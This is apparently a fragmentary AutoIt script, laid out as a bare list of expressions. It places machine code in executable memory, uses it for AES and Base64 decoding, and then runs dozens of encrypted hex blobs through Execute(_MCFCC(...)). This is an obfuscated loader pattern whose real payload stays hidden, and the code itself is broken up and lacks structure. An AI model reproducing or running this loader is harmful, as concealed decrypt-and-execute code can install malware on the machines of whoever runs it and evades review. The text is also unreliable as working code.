DllCall("kernel32.dll","ptr","VirtualAlloc","ptr",$pAddress,"ulong_ptr",$iSize,"dword",$iAllocation,"dword",$iProtect)
@error 
SetError(@error,@extended, 0 )
DllCall("kernel32.dll","bool","VirtualFree","ptr",$pAddress,"ulong_ptr",$iSize,"dword",$iFreeType)
@error 
SetError(@error,@extended, False )
_MemVirtualFree($_AES_CodeBufferMemory, 0 ,$MEM_RELEASE)
Not IsDllStruct($_AES_CodeBuffer) 
@AutoItX64 
String(_AES_CodeDecompress($Code))
StringInStr($Opcode,"87DB")
StringInStr($Opcode,"87C9")
StringInStr($Opcode,"87D2")
StringInStr($Opcode,"87F6")
StringInStr($Opcode,"09C0")
StringInStr($Opcode,"09DB")
StringInStr($Opcode,"09C9")
StringInStr($Opcode,"09D2")
StringInStr($Opcode,"09F6")
StringInStr($Opcode,"09FF")
StringInStr($Opcode,"09E4")
StringInStr($Opcode,"09ED")
Binary($Opcode)
_MemVirtualAlloc( 0 ,BinaryLen($Opcode),$MEM_COMMIT,$PAGE_EXECUTE_READWRITE)
DllStructCreate("byte["&BinaryLen($Opcode)&"]",$_AES_CodeBufferMemory)
DllStructSetData($_AES_CodeBuffer, 1 ,$Opcode)
OnAutoItExitRegister("_AES_Exit")
Binary($Key)
BinaryLen($Key)
DllStructCreate("byte["&$KeyLen&"]")
DllStructSetData($KeyBuffer, 1 ,$Key)
DllStructGetData($KeyBuffer, 1 )
Not IsDllStruct($_AES_CodeBuffer) 
_AES_Startup()
_AesPrepareKey($Key)
DllStructCreate("byte[244]")
DllStructCreate("byte["&BinaryLen($Key)&"]")
DllStructSetData($AesKey, 1 ,$Key)
DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_EncryptKeyOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($AesKey),"uint",BinaryLen($Key)* 8 ,"int", 0 )
Not IsDllStruct($_AES_CodeBuffer) 
_AES_Startup()
_AesPrepareKey($Key)
DllStructCreate("byte[244]")
DllStructCreate("byte["&BinaryLen($Key)&"]")
DllStructSetData($AesKey, 1 ,$Key)
DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_DecryptKeyOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($AesKey),"uint",BinaryLen($Key)* 8 ,"int", 0 )
Not IsDllStruct($_AES_CodeBuffer) 
_AES_Startup()
Not IsDllStruct($AesCtx) 
SetError( 1 , 0 ,Binary(""))
Binary($Data)
Ceiling(BinaryLen($Data)/ 16 )
$DataLen= 0 
SetError( 1 , 0 ,Binary(""))
DllStructCreate("byte["&$DataLen&"]")
DllStructSetData($DataBuffer, 1 ,$Data)
DllStructCreate("byte[16]")
DllStructSetData($IVBuffer, 1 ,$IV)
DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_DecryptCBCOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($DataBuffer),"uint",$DataLen,"ptr",DllStructGetPtr($IVBuffer))
DllStructGetData($IVBuffer, 1 )
DllStructGetData($DataBuffer, 1 )
Not IsDllStruct($_AES_CodeBuffer) 
_AES_Startup()
Not IsDllStruct($AesCtx) 
SetError( 1 , 0 ,Binary(""))
Binary($Data)
BinaryLen($Data)
$DataLen= 0 
SetError( 1 , 0 ,Binary(""))
DllStructCreate("byte["&$DataLen&"]")
DllStructSetData($DataBuffer, 1 ,$Data)
DllStructCreate("byte[16]")
DllStructSetData($IVBuffer, 1 ,$IV)
DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_DecryptCFBOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($DataBuffer),"uint",$DataLen,"ptr",DllStructGetPtr($IVBuffer))
DllStructGetData($IVBuffer, 1 )
DllStructGetData($DataBuffer, 1 )
Not IsDllStruct($_AES_CodeBuffer) 
_AES_Startup()
Not IsDllStruct($AesCtx) 
SetError( 1 , 0 ,Binary(""))
Binary($Data)
BinaryLen($Data)
$DataLen= 0 
SetError( 1 , 0 ,Binary(""))
DllStructCreate("byte["&$DataLen&"]")
DllStructSetData($DataBuffer, 1 ,$Data)
DllStructCreate("byte[16]")
DllStructSetData($IVBuffer, 1 ,$IV)
DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($_AES_CodeBuffer)+$_AES_CryptOFBOffset,"ptr",DllStructGetPtr($AesCtx),"ptr",DllStructGetPtr($DataBuffer),"uint",$DataLen,"ptr",DllStructGetPtr($IVBuffer))
DllStructGetData($IVBuffer, 1 )
DllStructGetData($DataBuffer, 1 )
_AesDecryptCBC($AesCtx,$IV,$Data)
BinaryLen($Data)
BinaryMid($Data,$i, 1 )=Binary("0x80") 
BinaryMid($Data, 1 ,$i- 1 )
Binary($Data)
BinaryLen($Data)<= 16 
SetError( 1 , 0 ,Binary(""))
BinaryMid($Data, 1 , 16 )
BinaryMid($Data, 17 )
String($Mode)
_AesEncryptKey($Key)
_AesDecryptCFB($AesCtx,$IV,$Data)
_AesEncryptKey($Key)
_AesCryptOFB($AesCtx,$IV,$Data)
_AesDecryptKey($Key)
_AesDecryptCBC_Pad($AesCtx,$IV,$Data)
BinaryLen($Ret)= 0 
SetError( 1 , 0 ,Binary(""))
@AutoItX64 
StringInStr($Opcode,"89C0")
StringInStr($Opcode,"89D2")
StringInStr($Opcode,"89F6")
Binary($Opcode)
_MemVirtualAlloc( 0 ,BinaryLen($Opcode),$MEM_COMMIT,$PAGE_EXECUTE_READWRITE)
DllStructCreate("byte["&BinaryLen($Opcode)&"]",$CodeBufferMemory)
DllStructSetData($CodeBuffer, 1 ,$Opcode)
DllStructCreate("byte[16]")
StringLen($Code)
DllStructCreate("byte["&$Length&"]")
DllCall("user32.dll","none","CallWindowProc","ptr",DllStructGetPtr($CodeBuffer)+$B64D_Init,"ptr",DllStructGetPtr($B64D_State),"int", 0 ,"int", 0 ,"int", 0 )
DllCall("user32.dll","int","CallWindowProc","ptr",DllStructGetPtr($CodeBuffer)+$B64D_DecodeData,"str",$Code,"uint",$Length,"ptr",DllStructGetPtr($Output),"ptr",DllStructGetPtr($B64D_State))
DllStructGetData(DllStructCreate("uint",DllStructGetPtr($Output)), 1 )
DllStructCreate("byte["&($ResultLen+ 16 )&"]")
DllCall("user32.dll","uint","CallWindowProc","ptr",DllStructGetPtr($CodeBuffer)+$AP_Decompress,"ptr",DllStructGetPtr($Output)+ 4 ,"ptr",DllStructGetPtr($Result),"int", 0 ,"int", 0 )
_MemVirtualFree($CodeBufferMemory, 0 ,$MEM_RELEASE)
BinaryMid(DllStructGetData($Result, 1 ), 1 ,$Ret[ 0 ])
Number($number)
Number($number)
_AES_Startup()
BinaryToString(_AesDecrypt($CCkey[$index],$hexstring))
Execute(_MCFCC("0xCA6E6E2B07A684C0F849BAE8832A891DCB64D80994E1C3E18601156B83A4D527"))
Execute(_MCFCC("0xE9F941336EBC31B3807730E1947E3E3047EBBBB61B410AC323C5336A90735238"))
Execute(_MCFCC("0x7771D58729BFD57C86281FBA4643E4D1B222C2C4FF5C4EADC0A3DE91E5292549"))
Execute(_MCFCC("0x64752AD35F7BB4B2DEA20DB7960BA6BFC89DC353B1840272AEE328ED489333FF30FC13312C8EE9DA3A2FBE8A5908D857"))
Execute(_MCFCC("0xCC01B4E57BD320F3956A33FDF102DEA6E1E56E506410EE0957A655CEF16066D0410098C2C824D339FDE17E42527BD1AB"))
Execute(_MCFCC("0x93C28C0A1E9E3BA71BA5B893A27C9E91B12ECA61249376CABCC8E6CF0EC3D04A28F30A4A3D5A7173F771F0F2BEF4306F"))
Execute(_MCFCC("0x5DE470F9DD9C8BE0E7E8D8E7584C5718233D066AB4FEA698B0E4C338AAC9D6DDFE01E4B9A05079982EC58FC229303C8104268C9FE9EF9E9CF9E63EAA1438A7A0"))
Execute(_MCFCC("0xC150C6299E625D509B47571A06DE7E72B0A37BD4A93126C35C3AC14A5AAB9B6DD5041AFA2A2B5E58FF9CA42DEC4C1294"))
Execute(_MCFCC("0xA97E1228EFA7857D1C9FB14D94FB4462B5037FAC0D38F39BAB360FFB5493802BA8CD2254731ABB13FB370BDB96792D238BE7276AD817BEAD167EC0445DCC1E18"))
Execute(_MCFCC("0x7556495068A244AC5A4480FAEBD296BF0C288A55903FE7C3A904FE2D1127C3CA"))
Execute(_MCFCC("0xFCC4C966CE14E255A61B7A39E8A0082A48A0EB68A603C1E35C00B5C440766D2953275868DBC313DFE75D2DB56D1F280B"))
Execute(_MCFCC("0x3E5178DCCC1F37A1E941F7AAE610A9A270F03779303B73EF3849FD5A80FA613E70A6E0CACEB5FCD2D9537AE1F3BC65B3"))
Execute(_MCFCC("0x4280CE9889AAE6E1F53951C7A840D907B578CA6DE4665B7D959FA49BB332904C"))
Execute(_MCFCC("0xB7FED9C3C70A937F8468050D65E3F073F628CB5BFB650F465EB97CEF619BD87C342C23AA4CAAA908AB64470D434A9A39"))
Execute(_MCFCC("0x50BC4E0A62B9C00111BF8941CE565183BC68E4CF8B89300743ADB9370855160F75565F01C9434EFC4A4FB081649D25D1"))
Execute(_MCFCC("0xF417D6F952FFC4FD8C1828C04C6701947EF2277DA2747379F850FC27A394C8AD"))
Execute(_MCFCC("0x7829A6F720701ECF6B05D65828090583101D8D728749359DF5CB9B5DFA941B36"))
Execute(_MCFCC("0x2D16D5318FBC4F7E699B3333ADB13BCF536607137CBEF5EC6508460B7F082F9F2F938B6DC092404E23CC9E4532CEF646907F8ED3A260DDDB2211AC4F02C54F66"))
Execute(_MCFCC("0x168821DD54DE8D300A1CF4B0F1CA09D3173DB99E6C17DE739444D6ACA8376DC8"))
Execute(_MCFCC("0xA3812FDD2BDFDA7D6050C75BC691C78E63AF6B99D77FD8C6120BCAB53F1C4688535681BCFBD1063F1AB0C8B0F78F6627A77589EE08A7207E26B98EDAC4234ED7"))
Execute(_MCFCC("0xF83CD10DD0727DA1515EDBEC3A6F5FBDC7803C9C8893D1390F75D8375B0934074D23BFEC361BBBEAD44BD01B6C0F085D25BB1B6C1C35EE4601B0A10D9A855EA777B792B8CFF390B66AB003C74ABC5E601B40C19530A3DC89A6868CF8CD776E20D2BEF15F1443629E87FAEA118DA87E3C"))
Execute(_MCFCC("0xC24ACBB620D3979BCA71B7D6AD13B35EC62147FBEEC538426F867302DCE8B085FFA6FABE576115ACB20418FDF35145473D257036DA092570B3E6F2CF5E2F523C",3))
Execute(_MCFCC("0xA4B130F551D4C9EDC9BB9D4B13DEFC2C6900B5346F031A849F29B4641C7A32865C9E75322F9B87F45EDA6773C050F3962718F1F8E0C7DA1A577BE75FA7FB771334C2C02EC3E4F18FD9BF36CD680F31E6",3))
Execute(_MCFCC("0x8BB2B3E6F9CD85EE54C513B8B82DE253B55A7EAA27498AEE660D4C78843B7624E1867B69D7F6C06DCF88A9CD9BA1778C",3))
Execute(_MCFCC("0xB842030C39C0C54A26AF9BBECBA4F3A240C98CBFF97D05EFD5DED6262A88403C",3))
Execute(_MCFCC("0xE173FAEEBFD3E00C5045D8253751F4E4839CD555D07C43D07B308CED1C61D864",3))
Execute(_MCFCC("0x258188AFB59A65631FD33C2CF49CD513658A58FF5ACB70DC6A25C119D6E5465E9EFD881DA7FEAED18129C60F8FAC0DE1",3))
